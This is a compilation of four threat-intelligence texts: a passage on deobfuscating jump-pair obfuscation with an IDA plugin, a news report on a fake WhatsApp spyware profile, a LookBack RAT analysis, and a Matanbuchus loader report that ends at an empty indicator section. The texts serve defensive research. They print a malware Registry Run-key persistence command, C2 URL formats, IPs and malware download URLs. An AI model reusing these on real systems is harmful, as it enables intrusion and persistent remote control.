Immediately we see an obvious and well-known form of obfuscation. The first line jumps to loc_401C27 if the "below" conditional is true, and the second line jumps to loc_401C27 if the "not below" conditional is true. I.e., execution will reach loc_401C27 if either "below" or "not below" is true in the current EFLAGS context. I.e., these two instructions will transfer control to loc_401C27 no matter what is in EFLAGS -- and in particular, we might as well replace these two instructions with "jmp loc_401C27", as the effect would be identical.
Continuing to analyze at loc_401C27, we see another instance of the same basic idea:
```assembly
.text:00401C27 loc_401C27:
.text:00401C27 77 CD ja short loc_401BF6
.text:00401C29 76 CB jbe short loc_401BF6
```
Here we have an unconditional branch to loc_401BF6, split across two instructions -- a "jump if above", and "jump if below or equals", where "above" and "below or equals" are logically opposite and mutually exclusive conditions.
After this, at location loc_401BF6, there is a legitimate-looking instruction (push eax), followed by another conditional jump pair to loc_401D5C. At that location, there is another legitimate-looking instruction (push ecx), followed by a conditional jump pair to loc_4019D2. At that location, there is another legitimate-looking instruction (push edx), followed by another conditional jump pair. It quickly became obvious that every legitimate instruction was interspersed between one or two conditional jump pairs -- there are hundreds or thousands of these pairs throughout the binary.
Though an extremely old and not particularly sophisticated form of obfuscation, it is nevertheless annoying and degrades the utility of one's disassembler. As I discussed in a previous entry on IDA processor module extensions, IDA does not automatically recognize that two opposite conditional branches to the same location are an unconditional branch to that location. As a result, IDA thinks that the address following the second conditional branch must necessarily contain code. Obfuscation authors exploit this by putting junk bytes after the second conditional branch, which then causes the disassembler to generate garbage instructions, which may overlap and occlude legitimate instructions following the branch due to the variable-length encoding scheme for X86. (Note that IDA is not to blame for this conundrum -- ultimately these problems are undecidable under ordinary Von Neumann-based models of program execution.) The result is that many of the legitimate instructions get lost in the dreck generated by this process, and that, in order to follow the code as usual in manual static analysis, one would spend a lot of time manually undefining the gibberish instructions and re-defining the legitimate ones.
## 6. Deobfuscating the Conditional Branch Obfuscation: Theory and Practice
Manually undefining and redefining instructions as just described, however, would be a waste of time, so let's not do that. Speaking of IDA processor modules, once it became clear that this pattern repeated between every legitimate non-control-flow instruction, I got the idea to write an IDA processor module extension to remove the obfuscation automatically. IDA processor module extensions give us the ability to have a function of ours called every time the disassembler encounters an instruction. If we could recognize that the instruction we were disassembling was a conditional branch, and determine that the following instruction contains its opposite conditional branch to the same target as the first, we could replace the first one with an unconditional branch and NOP out the second branch instruction.
Thus, the first task is to come up with a way to recognize instances of this obfuscation. It seemed like the easiest way would be to do this with byte pattern-recognition. In my callback function that executes before an instruction is disassembled, I can inspect the raw bytes to determine whether I'm dealing with a conditional branch, and if so, what the condition is and the branch target. Then I can apply the same logic to determine whether the following instruction is a conditional branch and determine its condition and target. If the conditions are opposite and the branch targets are the same, we've found an instance of the obfuscation and can neutralize it.
In practice, this is even easier than it sounds! Recall the first example from above, reproduced here for ease of reading:
```assembly
.text:00401950 0F 82 D1 02 00 00 jb loc_401C27
.text:00401956 0F 83 CB 02 00 00 jnb loc_401C27
```
Each of these two instructions is six bytes long. They both begin with the byte 0F (the x86 two-byte escape opcode stem), are then followed by a byte in the range of 80 to 8F, and are then followed by a DWORD encoding the displacement from the end of the instructions to the branch targets. As a fortuitous quirk of x86 instruction encodings, opposite conditional branches are encoded with adjacent bytes. I.e. 82 represents the long form of JB, and 83 represents the long form of JNB. Two long branches have opposite condition codes if and only if their second opcode byte differs from one another in the lowest bit (i.e. 0x82 ^ 0x83 == 0x01). And note also that the DWORDs following the second opcode byte differ by exactly 6 -- the length of a long conditional branch instruction.
That's all we need to know for the long conditional branches. There is also a short form for conditionals, shown in the second example above and reproduced here for ease of reading:
```assembly
.text:00401C27 77 CD ja short loc_401BF6
.text:00401C29 76 CB jbe short loc_401BF6
```
Virtually identical comments apply to these sequences. The first bytes of both instructions are in the range of 0x70 to 0x7F, opposite conditions have differing lowest bits, and the second bytes differ from one another by exactly 2 -- the length of a short conditional branch instruction.
## 7. Deobfuscating the Conditional Branch Obfuscation: Implementation
I started by copying and pasting my code from the last time I did something like this. I first deleted all the code that was specific to the last protection I broke with an IDA processor module extension. Since I've switched to IDA 7.0 in the meantime, and since IDA 7.0 made breaking changes vis-a-vis prior APIs, I had to make a few modifications -- namely, renaming the custom analysis function from deobX86Hook::custom_ana(self) to deobX86Hook::ev_ana_insn(self, insn), and replacing every reference to idaapi.cmd.ea with insn.ea. Also, my previous example would only run if the binary's MD5 matched a particular sum, so I copied and pasted the sum of my sample out of IDA's database preamble over the previous MD5.
From there I had to change the logic in custom_ana. The result was even simpler than my last processor module extension. Here is the logic for recognizing and deobfuscating the short form of the conditional branch obfuscation:
```python
b1 = idaapi.get_byte(insn.ea)
if b1 >= 0x70 and b1 <= 0x7F:
d1 = idaapi.get_byte(insn.ea+1)
b2 = idaapi.get_byte(insn.ea+2)
d2 = idaapi.get_byte(insn.ea+3)
if b2 == b1 ^ 0x01 and d1-2 == d2:
# Replace first byte of first conditional with 0xEB, the opcode for "JMP rel8"
idaapi.put_byte(insn.ea, 0xEB)
# Replace the following instruction with two 0x90 NOP instructions
idaapi.put_word(insn.ea+2, 0x9090)
```
Deobfuscating the long form is nearly identical; see the code for details.
## 8. Admiring My Handiwork, Cleaning up the Database a Bit
Now I copied the processor module extension to %IDA%\plugins and re-loaded the sample. It had worked! The VM entrypoint had been replaced with:
```assembly
.text:00401950 loc_401950:
.text:00401950 jmp loc_401C27
```
Though the navigation bar was still largely red and ugly, I immediately noticed a large function in the middle of the text section. Looking at it in graph mode, we can see that it's kind of ugly and not entirely as nice as analyzing unobfuscated X86, but considering how trivial it was to get here, I'll take it over the obfuscated version any day. The red nodes denote errant instructions physically located above the valid ones in the white nodes. IDA's graphing algorithm includes any code within the physically contiguous region of a function's chunks in the graph display, regardless of whether they have incoming code cross-references, likely to make displays of exception handlers nicer. It would be easy enough to remove these and strip the JMP instructions if you wanted to write a plugin to do so.
Next I was curious about the grey areas in the .text section navigation bar held. (Those areas denote defined data items, mixed in with the obfuscated code in the .text section.) I figured that the data held there was most likely related to the obfuscator. I spent a minute looking at the grey regions and found this immediately after the defined function:
```assembly
.text:00402AE0 dd offset loc_402CF2
.text:00402AE4 dd offset loc_402FBE
; ... 30 similar lines deleted ...
.text:00402B60 dd offset loc_4042DC
.text:00402B64 dd offset loc_40434D
```
34 offsets, each of which contains code. Those are probably the VM instruction handlers. For good measure, let's turn those into functions with an IDAPython one-liner:
```python
for pFuncEa in xrange(0x00402AE0, 0x00402B68, 4):
idaapi.add_func(idaapi.get_long(pFuncEa))
```
Now a large, contiguous chunk of the navigation bar for the .text section is blue. And at this point I realized I had forgotten to create a function at the original dispatcher location, so I did that manually and here was the resulting navigation bar. Hex-Rays doesn't do a very good job with any of the functions we just defined, since they were originally written in assembly language and use instructions and constructs not ordinarily produced by compilers. I don't blame Hex-Rays for that and I hope they continue to optimize for standard compiler-based use cases and not weird ones like this.
Lastly, I held PageDown scrolling through the text section to see what was left. The majority of it was VM entrypoints like those we saw in section 3. There were a few functions that appeared like they had been produced by a compiler.
So now we have assessed what's in the text section -- a VM with 34 handlers, 125+ virtualized functions, and a handful of unvirtualized ones. Next time we'll take a look at the VM.
## 9. Preview of Parts 2 and 3, and Beyond
After this I spent a few hours analyzing the VM entrypoint and VM instruction handlers. Next, through static analysis I obtained the bytecode for the VM program contained within this sample. I then wrote a disassembler for the VM. That's part two.
From there, by staring at the disassembled VM bytecode I was able to write a simple pattern-based deobfuscator. After that I re-generated the X86 machine code, which was not extremely difficult, but it was more laborious than I had originally anticipated. That's part three.
After that, I re-inserted the X86 machine code into the original binary and analyzed it. It turned out to be a fairly sophisticated dropper for one of two second-stage binaries. It was fairly heavy on system internals and had a few tricks that aren't widely documented, so I may publish one or more of those as separate entries, and/or I may publish an analysis of the entire dropper.
Finally, I analyzed -- or rather, still am analyzing -- the second-stage binaries. They may or may not prove worthy of publication. |
# A Spyware Vendor Seemingly Made a Fake WhatsApp to Hack Targets
Hackers tried to trick iPhone users into installing a fake version of WhatsApp in a potential attempt to gather information about them. Technical analyses by both researchers from digital rights watchdog Citizen Lab and Motherboard suggest that this fake version of WhatsApp is linked to a specific Italian surveillance company.
The news highlights a sometimes overlooked attack on iPhones: tricking users into installing configuration files or so-called Mobile Device Management (MDM) profiles, which can then potentially push malware onto a target device. As the price of exploits for breaking into iPhones has steadily climbed, other government malware vendors have moved to leveraging MDM profiles to hack phones.
“I think it is targeted, I don’t think they were trying to spread this around,” Bill Marczak, a researcher from Citizen Lab, part of the Munk School of Global Affairs at the University of Toronto, told Motherboard.
Last Tuesday, the security company ZecOps said in a tweet that it had detected attacks against WhatsApp users. The company published a specific domain—config5-dati[.]com—and an IP address it said were related to the attacks. Then Marczak and fellow Citizen Lab researcher Bahr Abdul Razzak looked into the domain and found others linked to it, including one that hosted a site that purported to be a page to download WhatsApp. In reality, the site attempted to trick visitors into installing what was actually a special configuration file for iPhones designed to potentially gather information about the victims and send it back to the attacker, according to the Citizen Lab researchers.
Using data from cybersecurity vendors DomainTools and RiskIQ, Motherboard independently discovered multiple clusters of domains linked to the one publicly shared. The config5-dati[.]com domain shared an encryption certificate with other similarly named domains, revealing others such as config4-dati[.]com, config3-dati[.]com, and config6-dati[.]com. Citizen Lab searched for other numerical variations of that domain, including config1-dati[.]com; Google had preserved a cache of the WhatsApp phishing page on that domain.
A screenshot of the phishing page found by Citizen Lab.
"To keep in touch with your friends press the 'download' button and follow the instructions on the page," the phishing site reads in Italian. The page then instructs visitors how to install a configuration file via the iPhone's system settings menu. This is not how users install a legitimate version of WhatsApp: usually iPhone users download it from the Apple App Store.
Marczak said this file sends information to the config1-dati server, including the UDID, or Unique Device Identifier assigned to each iOS device by Apple; and the IMEI or International Mobile Equipment Identity, another unique code that identifies cellphones.
"[The MDM file is] the first bit of the installation process for what is ultimately likely to be a fake WhatsApp app containing spyware," Marczak said. Citizen Lab researchers said they could not gather data on the next stage of the attack, meaning it is unclear exactly what other data the hackers would have been able to exfiltrate from a target device.
The phishing page is designed to look like an official WhatsApp site, with WhatsApp branding and professional graphics laying out the installation process step-by-step. The phishing page is not currently online. Citizen Lab shared a copy of the configuration file with Motherboard; when opened, the file says it is from "WhatsApp Inc." for "WhatsApp Messenger."
When presented with a summary of the findings, a WhatsApp spokesperson told Motherboard, "We do not ask for these user privileges and people should be very suspicious of any app trying to do so."
"To help keep chats safe, we recommend that people download WhatsApp from the app store for their phone's platform. In addition, we may temporarily ban people using modified WhatsApp clients we detect to help encourage people to download WhatsApp from an authoritative source," the spokesperson added.
"We strongly oppose abuse from spyware companies, regardless of their clientele. Modifying WhatsApp to harm others violates our terms of service. We have and will continue to take action against such abuse, including in court," the WhatsApp spokesperson said. Facebook and WhatsApp are currently suing another spyware vendor, NSO Group, for allegedly abusing WhatsApp's infrastructure to deliver NSO's malware to targets.
Motherboard was unable to determine who the fake WhatsApp page was targeting. Apple did not provide a statement.
After researching the set of domains, Motherboard found a cluster of other domains that at one point shared an IP address with the config5-dati[.]com domain, and from there a third set that shared an IP address and followed similar naming conventions. One of these, check3[.]it, was registered to "cy4gate srl", a company with a Rome, Italy address, according to WHOIS records. Most of the domains analyzed were registered in Rome according to the WHOIS records.
Cy4Gate describes itself as a "Cyber Electronic Warfare & Intelligence" company on its Twitter account. The company develops several products, including Epeius, its solution for "lawful intercept," an industry term for hacking and surveillance as a service. In 2017, Cy4gate appeared before an Italian Senate committee to pitch its surveillance products, according to a document published online. Last year, it made headlines for developing a product to track COVID-19 infections, which was part of a series of COVID-tracking solutions considered at the time by the Italian government, which eventually gave the bid to another company. Cy4gate is part of the Italian defense contractor Elettronica.
Cy4Gate has recently done business with high profile companies such as Fiat Chrysler as well as the United Arab Emirates, according to marketing material Motherboard found online. An Italian media report says Cy4Gate has also sold a product to the U.S. military, although it specifies it was not the company's Epeius product. Cy4Gate also offers cybersecurity products.
A screenshot of the login portal found by Citizen Lab.
Citizen Lab also found that an encryption certificate for an IP address associated with the config1-dati[.]com domain, which displayed the WhatsApp phishing page, mentioned "epeius," Cy4Gate's lawful intercept product. Motherboard found mentions of Epeius in certificates connected to IP addresses pointing to more of the config domains too.
The Citizen Lab researchers also found that the config1-dati[.]com domain at some point returned a login page with a Cy4gate logo and the name Epeius, and shared a screenshot of the portal with Motherboard. The branding matches that of an Epeius logo Motherboard found in Cy4Gate marketing material online.
A screenshot of the Epeius marketing material found by Motherboard.
"EPEIUS has been designed to address the LEAs (Law Enforcement Agencies) requirements to move from the 'cloud' of IP data flow to a targeted active interception approach directly on the target's endpoint like a Mobile phone, a Tablet or a personal computer," the brochure Motherboard found reads. The marketing material adds that "EPEIUS implements a number of innovative techniques to 'infect' a device," and that the product is designed to be configurable depending on the client's mission requirements.
"Example: if our task is the acquisition of target geolocalization and emails, EPEIUS will execute the pre-established modules," the brochure adds. The material adds that EPEIUS is designed to siphon data before it is encrypted and that data collection "is implemented through anonymous and untraceable connections." Cy4Gate took the Epeius product to market in 2019, according to the brochure.
When Motherboard shared the domain data with Cy4gate, a company spokesperson said in an email that the config domains identified by Citizen Lab researchers and Motherboard are not attributable to the company. The Cy4Gate spokesperson did confirm to Motherboard that the check3[.]it domain belonged to the company.
"I think it's pretty clearly their product," Marczak said. |
# LookBack Malware Targets the United States Utilities Sector with Phishing Attacks Impersonating Engineering Licensing Boards
**Overview**
Between July 19 and July 25, 2019, several spear phishing emails were identified targeting three US companies in the utilities sector. The phishing emails appeared to impersonate a US-based engineering licensing board with emails originating from what appears to be an actor-controlled domain, nceess.com. Nceess.com is believed to be an impersonation of a domain owned by the US National Council of Examiners for Engineering and Surveying. The emails contain a malicious Microsoft Word attachment that uses macros to install and run malware that Proofpoint researchers have dubbed “LookBack.” This malware consists of a remote access Trojan (RAT) module and a proxy mechanism used for command and control (C&C) communication. We believe this may be the work of a state-sponsored APT actor based on overlaps with historical campaigns and macros utilized. The utilization of this distinct delivery methodology coupled with unique LookBack malware highlights the continuing threats posed by sophisticated adversaries to utilities systems and critical infrastructure providers.
## Delivery
Emails delivered on July 19 and July 25 purported to be a failed examination result from the NCEES (National Council of Examiners for Engineering and Surveying) and fraudulently utilized the NCEES logo. The email sender address and reply-to fields contained the impersonation domain nceess.com. Like the phishing domain, the email bodies impersonated member ID numbers and the signature block of a fictitious employee at NCEES. The Microsoft Word document attachment included in the email also invoked the failed examination pretense with the file name “Result Notice.doc.”
All emails originated from the IP address 79.141.168.137, which appears to be an actor-controlled IP utilized to host the phishing domain nceess.com. An examination of passive DNS and domain registration history for this domain identified additional domains that appeared to be actor registered, which also impersonated engineering and electric licensing bodies in the US. Among these domains, only nceess.com was observed in active phishing campaigns targeting utility companies.
## Exploitation
The phishing messages were found to contain a Microsoft Word document attachment that uses VBA macros to install LookBack malware. When the attachment is executed, the malicious VBA macro within the Microsoft Word attachment drops three Privacy Enhanced Mail (PEM) files to the host: tempgup.txt, tempgup2.txt, and tempsodom.txt. Additionally, the file Temptcm.tmp, which is a version of certutil.exe, is dropped to decode the PEM files using Temptcm.tmp. The macro next creates a copy of the decoded PEM files restoring their proper file extensions with the Windows essentuti.exe. tempgup.txt becomes GUP.exe, which impersonates the name of an open-source binary used by Notepad++; tempgup2.txt becomes libcurl.dll, a malicious loader DLL file; and tempsodom.txt becomes sodom.txt, which contains command and control configuration data utilized by the malware. Finally, the macro launches GUP.exe and the libcurl.dll loader separately, resulting in the execution of LookBack malware.
## LookBack Malware
LookBack malware is a remote access Trojan written in C++ that relies on a proxy communication tool to relay data from the infected host to a command and control IP. Its capabilities include an enumeration of services; viewing of process, system, and file data; deleting files; executing commands; taking screenshots; moving and clicking the mouse; rebooting the machine and deleting itself from an infected host. The malware consists of the following components:
- A command and control proxy tool (referred to as GUP)
- A malware loader comprised of a legitimate libcurl.dll file with one export function modified to execute shellcode.
- A communications module (referred to as SodomNormal) which creates a C&C channel with the GUP proxy tool.
- A remote access Trojan component (referred to as SodomMain), which is delivered following decoding the initial beacon response received via the GUP proxy tool and the SodomNormal local host proxy module.
### GUP Proxy Tool
The GUP command and control proxy tool may impersonate the name of a piece of legitimate open-source software available at wingup.org, which is used by Notepad++. In historic campaigns by APT adversaries, legitimate GUP.exe versions were utilized that were digitally signed by Notepad++. In this campaign, files appeared to impersonate the GUP.exe file name rather than being a legitimate signed binary. The function of this tool is to set up a TCP listener on a localhost, receive encoded data via requests from the SodomNormal localhost module, and to forward this data to the command and control IP via HTTP. The GUP Proxy Tool has a hardcoded configuration which is included as both strings and integers. The following configuration data was identified from the analyzed sample.
- GUP.exe|368ae77c829c29db2c3e719ce423104db86165422391403ad0483944aa287c20
- Listener address: 127.0.0.1
- Listener port: 9090
- C&C host: 103.253.41.45
- C&C URL format: http://%s/status.gif?r=%d
- Observed URL: http://103.253.41.45/status.gif?r=1564065990
### Libcurl.dll Malware Loader
This dynamic link library appears to be a legitimate version of libcurl.dll except for a single exported function, which is referred to as ordinal #52 and curl_share_init in the analyzed sample. This function has been modified by threat actors to extract a resource contained within libcurl.dll, decrypt malicious data included in that resource, and load the resulting DLL to execute a malicious function. When this function is executed, the SodomNormal communications module begins running within Libcurl.dll. In addition to loading the communications module, the initial macro described above configures a persistence mechanism for this malware loader by setting up a Registry Run key. The non-concatenated command included in the macro that establishes persistence for Libcurl.dll and the hash for this sample are included below.
- cmd /c reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v CurlUpdate /f /d rundll32.exe C:\Users\Public\libcurl.dll,#52
- Libcurl.dll|cf57eb331b09cb2bc8992ea253d301161f1fa38583cba0733ea6dc2da2bdf740
### SodomNormal Communications Module
The SodomNormal Communications module runs within the libcurl.dll loader as a loaded DLL. Its primary function is to communicate data gathered by the SodomMain remote access Trojan module with the GUP Proxy Tool. It attempts to acquire an existing configuration from the file sodom.ini. However, it appears the configuration is dropped in the file sodom.txt instead. If that configuration is not available, it utilizes a hardcoded configuration in the binary. An example of this hardcoded configuration has been included below. The tool uses a custom binary protocol over sockets for its command and control communication with the GUP Proxy Tool and all transferred data is encrypted using a modified version of RC4 encryption. It has limited functionality which includes an initial beacon, an initial beacon response that includes encoded data containing the SodomMain RAT, and a command poll which passes header and decrypted data in an exported function enabling the SodomMain RAT to run. The hash for this sample is included below.
- SodomNormal.bin|360057ef2c4c14e263bbe2fc2df9ed4790bd8ed66256c827f1af349da31d47be
### SodomMain Remote Access Trojan Module
The SodomMain module is LookBack malware’s remote access Trojan module that can send and receive numerous commands indicative of its function as a RAT. The malware is delivered within the encoded data that is received by the SodomNormal module as part of its initial beacon response. It then runs within the SodomNormal module and uses its “send_data” function for C&C communications. The data is ultimately relayed to the GUP Proxy Tool and the C&C IP. Noteworthy malware commands include:
- Get process listing
- Kill process
- Executes cmd.exe command
- Gets drive type
- Find files
- Read files
- Delete files
- Write to files
- Execute files
- Enumerate services
- Starts services
- Delete services
- Takes a screenshot of desktop
- Move/Click Mouse and take a screenshot
- Exit
- Removes self (libcurl.dll)
- Shutdown
- Reboot
The hash for this sample is included below.
- SodomMain.dll|f8fae5b912ca61068a2be64e51273e90a10ebf7ffbd7feaf9a29475387f99a6d
## Notes on Attribution
Analysts identified similarities between the macros utilized in this campaign and historic APT campaigns targeting Japanese corporations in 2018. Moreover, LookBack utilizes an encoded proxy mechanism for C&C communication that resembles a historic TTP utilized in those campaigns. However, analysts note that the LookBack malware has not previously been associated with a known APT actor and that no additional infrastructure or code overlaps were identified to suggest an attribution to a specific adversary.
In the attachments identified as part of the July 2019 campaigns, threat actors appeared to utilize many concatenation commands within the macro to obfuscate the VBA function. It is possible these concatenations were an attempt to evade static signature detection for the macro strings while maintaining the integrity of the installation mechanism, which had been historically used to target different sectors and geographies.
## Conclusion
The detection of a new malware family delivered using phishing tactics once used by known APT adversaries highlights a continuing global risk from nation-state actors. While definitive attribution in this instance requires further study of infrastructure, toolsets, and methodologies, the risk that these campaigns pose to utilities providers is clear. The profile of this campaign is indicative of specific risk to US-based entities in the utilities sector. Phishing emails leveraged the knowledge of the licensing bodies utilized within the utilities sector for social engineering purposes that communicated urgency and relevance to their targets. Persistent targeting of any entity that provides critical infrastructure should be considered an acute risk with a potential impact beyond the immediate targets. Since so many other individuals and sectors rely on these services to remain operational, safeguarding them is paramount. Analysts continue to monitor key entities in the utilities sector to identify and prevent these and similar attacks in the hopes of preventing any intended impact to critical infrastructure.
## Indicators of Compromise (IOCs)
| IOC | Type | Description |
|----------------------------------------------------------------------------------------------------------|--------|-----------------------------------------------|
| a2d41af0b4f8f0fd950fd4ac164cb2c836fd3c679688b4db75e85ffabfc20d94 | SHA256 | Microsoft Word Attachment - result notice.doc |
| 3a03509d1036f4ccf4bd4cb28717287791bf5e90f94b6edd4bffe40a66a4b237 | SHA256 | Microsoft Word Attachment - result notice.doc |
| f8fae5b912ca61068a2be64e51273e90a10ebf7ffbd7feaf9a29475387f99a6d | SHA256 | LookBack RAT Module - SodomMain.dll |
| 360057ef2c4c14e263bbe2fc2df9ed4790bd8ed66256c827f1af349da31d47be | SHA256 | LookBack Communications Module - SodomNormal.bin |
| cf57eb331b09cb2bc8992ea253d301161f1fa38583cba0733ea6dc2da2bdf740 | SHA256 | LookBack Malware Loader – Libcurl.dll |
| 368ae77c829c29db2c3e719ce423104db86165422391403ad0483944aa287c20 | SHA256 | LookBack Malware GUP Proxy Tool – GUP.exe |
| 103.253.41.45 | IP | Command and Control IP |
| 79.141.168.137 | IP | Originating IP |
| nceess.com | Domain | Phishing Domain |
## ET and ETPRO Suricata/SNORT Signatures
2837783 ETPRO TROJAN Win32/LookBack CnC Activity |
# Matanbuchus & Co: Code Emulation and Cybercrime Infrastructure Discovery
**TLP: CLEAR**
**PAP: CLEAR**
## Key findings
- How a pivot on the Whois of the C2 domains of Matanbuchus can be leveraged to anticipate future campaigns and wider threats.
- A seemingly Russia-based Bulletproof hosting service is currently used by impactful intrusion sets leveraging Matanbuchus and SocGholish malware.
- How the encrypted strings contained in the Matanbuchus DLL can be dynamically decrypted with emulation.
- TA577 could currently be a client of Matanbuchus, or just testing the solution.
## Introduction
In early March, malspam campaigns were launched with the intention of deploying the Matanbuchus Loader. Intrinsec’s CTI team decided to analyze these campaigns to unveil details of the attack chain which could be leveraged to anticipate further threats. By analyzing the infrastructure of the malware and its network communications, we discovered a previously unknown Autonomous System that currently hosts a wide range of other malicious activities.
## I - Strategical Intelligence
### 1. Attribution
The loader leveraged for these campaigns was named “Matanbuchus” by its developer “BelialDemon” and is currently being sold to a limited number of clients for 10,000 dollars a month on an underground forum. We believe that the main client of this loader is the Black Basta ransomware affiliate TA577. This affiliate is known for having deployed QakBot and Cobalt Strike for both initial access and post-exploitation purposes.
In a campaign reported by eSentire and dating from June 2022, a Cobalt Strike beacon loaded by QakBot communicated with two C2 servers which were also reported by threat researchers in a Matanbuchus campaign from the same month.
On March 27th, the Cryptolaemus team reported a PikaBot and DarkGate campaign launched by TA577 that used the same techniques as a Matanbuchus campaign dating from 20 days earlier.
## II - Tactical Intelligence
### 1. Tactics, Techniques and Procedures
#### 1.1. Malspam campaign
The campaign was launched on March 7th and started with an Excel document attached to an email. An image on the document lures the user to click on an “Open” button to correctly display its content. Instead, it downloads and runs a JavaScript file named “Open_Document.PDF.js” hosted on a Samba server with the IP “5.252.177[.]213”.
The purpose of the JavaScript file is to download a Matanbuchus DLL named “50k.png” and hosted on “988.skins[.]com/admin/view/stylesheet/50k.png”. This DLL is saved on the disk under the name “50.cpl” and launched with the Living of the Land binary “control.exe” for evasion purposes.
Once executed, the Matanbuchus DLL communicates with two C2 addresses to send information about the infected host in a POST request. The data is encrypted and base64 encoded. It contains information like the amount of RAM on the machine, the privileges of the user, the number of CPUs, the domain name, the computer’s name, and the MAC address.
#### 1.2. Google ads campaign
On March 26th, Unit42 tweeted about a campaign abusing Google ads to push a malicious website “treasurybanks[.]org”, pretending to be an American bank that can recover unclaimed funds for the citizens of the United States. Once on the website, the user is lured to download a report on how he can claim those funds. The downloaded file is a ZIP archive named “q-report-53394.zip” containing a malicious JavaScript named “q-report-60033.js”.
Once executed by the user, the JavaScript file would download an .MSI installer that would download the main Matanbuchus DLL. As reported by Unit42 in its tweet, a DanaBot executable was then delivered on the host.
The creator of Matanbuchus is indeed promoting a discount of 1,000 dollars on his loader for users that are already clients of DanaBot.
One user on Exploit with the nickname “kaptoxa” publicly claimed that he was a client of Matanbuchus and DanaBot by complementing both malwares. Despite this information, we could not associate this user to the observed campaign.
### 2. Code Analysis
#### 2.1. First stage JavaScript
Upon clicking on the “Open” button in the Excel table, a JavaScript file is downloaded from “\\5.252.177[.]213\share\Open_Document.PDF.js” and executed by wscript.exe. This script is slightly obfuscated as it mainly contains commented text about the war in Ukraine. Within these comments are actual pieces of code that will be extracted and executed later.
At the very end of the file are three obfuscated functions:
- One is used to retrieve the current script name,
- One is used to read the file’s content,
- One is used to regex the file’s content to retrieve the actual code and execute it.
This next stage script contains code to download, save, and run another next stage from “hxxps://988skins[.]com/admin/view/stylesheet/50k.png”. This file is the Matanbuchus DLL, which is actually executed as a control panel file (.CPL) by passing it to control.exe as an argument.
#### 2.2. Main payload: Matanbuchus DLL
The main payload is a 32-bit Windows Portable Executable, compiled with Microsoft Visual C/C++ version 19. Its control flow is heavily obfuscated by useless instructions, and it contains several obfuscation techniques such as dynamic API resolving, API hashing, and string encryption.
It contains three interesting exported functions:
- The entry point,
- DllRegisterServer,
- DllUnregisterServer.
All the other exports do not contain any analysis worthy code.
We began by looking at the entry point, as it is the function executed when calling control.exe. By following the execution flow dynamically in the debugger, we came upon a switch-case statement based on fdwReason.
As the DLL is loaded by control.exe, the value for fdwReason in our case is 1. Following the execution flow, we came upon an interesting function. Its role is to call all the functions referenced within a certain address range in the data section.
Among the function calls, we found some interesting ones. One of those is used to retrieve a pointer to the TEB (Thread Environment Block) and stores it in a global variable. Other function calls are used to decrypt specific strings:
- DllResgisterServer, the name of an export
- hxxps://selevkis[.]app/useraccount.aspx, a URL
- hxxps://muagol[.]com/useraccount.aspx, a URL
These URLs all host the same file (Matanbuchus DLL) under a different name (useraccount.aspx) mimicking an ASP.NET file name, which is usually used in the context of Microsoft IIS servers.
These decrypting functions always follow the same scheme: an encrypted string construction on the stack for obfuscation, followed by the writing of this string in a global variable (.data section). Once that is done, the actual decryption is made by passing the address of the encrypted string, its length, a key, and a bit shift to a function.
We were able to decrypt these strings dynamically using the debugger by setting a breakpoint right after the decrypting function is called. However, this function to decrypt strings is called 28 times. Using the debugger, we were not able to reach these calls due to anti-debugging techniques that we were not able to bypass.
To solve this problem and still be able to decrypt the strings, we used the emulation tool Dumpulator. We were then able to run the code and get the output of the decrypting function.
To go a little further, we added this functionality to an IDA plugin. However, this did not go exactly as planned, as a call (probably anti-analysis function) in the first function call returned an error in the emulation. To fix this issue, we replaced all the instructions contained in this function by NOP instructions (opcode 0x90).
Once patched, the plugin (and emulation script) could execute correctly, and we were able to decrypt the strings.
The next stage was to find an easy way to locate interesting functions. To do so, we thought of creating a list of all the functions sorted by the number of times they are called. This enabled us to locate a function we called “resolve_hashed_api”, which is used to locate the addresses of Windows APIs from a hashed value directly within the client-side code.
This technique is called API hashing. It starts by iterating over the InMemoryOrderModuleList structure of the Ldr to find the base address of the DLL which contains the API (usually kernel32.dll), then iterates over all the exported functions of the DLL, computes the hash, and checks it against the given value.
In addition to this hashing technique, a different one is used where the name of the API is decrypted using the function analyzed above then the address of the API is located using the Export Directory Table of the DLL.
To wrap it up, this sample was heavily obfuscated, we identified:
- Control flow obfuscation,
- Debugger and anti-vm traps,
- API hashing,
- String encryption.
We believe that it has the functionality to load itself by re-downloading in order to call a different export (DllRegisterServer or DllUnregisterServer). Given the exports names, we can assume that it can be launched through regsvr.exe, which would call these exports directly.
About network communications, we were able to identify two main functions. One is probably used to download itself and the other to load additional components. These functions leverage Windows APIs:
- InternetOpenA
- InternetOpenUrlA
- InternetCloseHandle
- InternetOpenW
- InternetReadFile
- InternetOpenUrlW
### 3. Infrastructure Analysis
#### 3.1. Finding future campaigns with Mihail Kolesnikov
Among the C2 that were used for the March 7th campaign, all domains that had a TLD in “.app” had the value “Mihail Kolesnikov” in the “Registrant Organization” field of their Whois. By pivoting on this value, we could find other domains with the same TLD:
- selevkis[.]app
- gulappa[.]app
- musarno[.]app
- modenetwork[.]app
- juprewards[.]app
- blastreward[.]app
- somakop[.]app
Some domains like “musarno[.]app” were indeed hosting a Matanbuchus DLL and its control panel.
We could link a fraction of those domains with medium-high confidence to ICEDID malversing landing domains. Our analysis suggests that the backend infrastructure of Snatch relies on a fast flux service that frequently rotates IP addresses that we could link to other threats such as the ransomware called RansomEXX but also the Magecart group.
#### 3.2. Hosting the Matanbuchus C2s on Russian Bulletproof Autonomous Systems
Concerning the C2 hosting infrastructure, the threat actor used two bulletproof hosting services, “Chang Way Technologies Co. Limited” and “Proton66 OOO”.
| AS name | C2 domain | C2 IP |
| --- | --- | --- |
| Chang Way Technologies Co. Limited | muagol[.]com | 185.11.61[.]170 |
| Chang Way Technologies Co. Limited | selevkis[.]app | 185.11.61[.]71 |
| Chang Way Technologies Co. Limited | gulappa[.]app | 185.11.61[.]172 |
| Proton66 OOO | musarno[.]app | 193.143.1[.]207 |
| Proton66 OOO | somakop[.]app | 193.141.1[.]196 |
| Proton66 OOO | iseberkis[.]com | 193.143.1[.]198 |
| Proton66 OOO | dumingas[.]com | 193.143.1[.]197 |
## Conclusion
As Intrinsec’s CTI team observed with the Matanbuchus campaigns, old loaders can still be relevant and used by high tier threat actors like the initial access broker TA577. Focusing on the infrastructure, part of those attacks can unveil wide networks of different threats as we described with SocGholish and the phishing pages hosted with Plesk on seemingly bulletproof Russian hosting services like Proton66 OOO. Blocking IP ranges from those Autonomous Systems can prevent initial access attempts including phishing, SEO, watering hole attacks, and further steps of an intrusion like network communications with potential command-and-control servers.
## III - Actionable content
### 1. Indicators of compromise
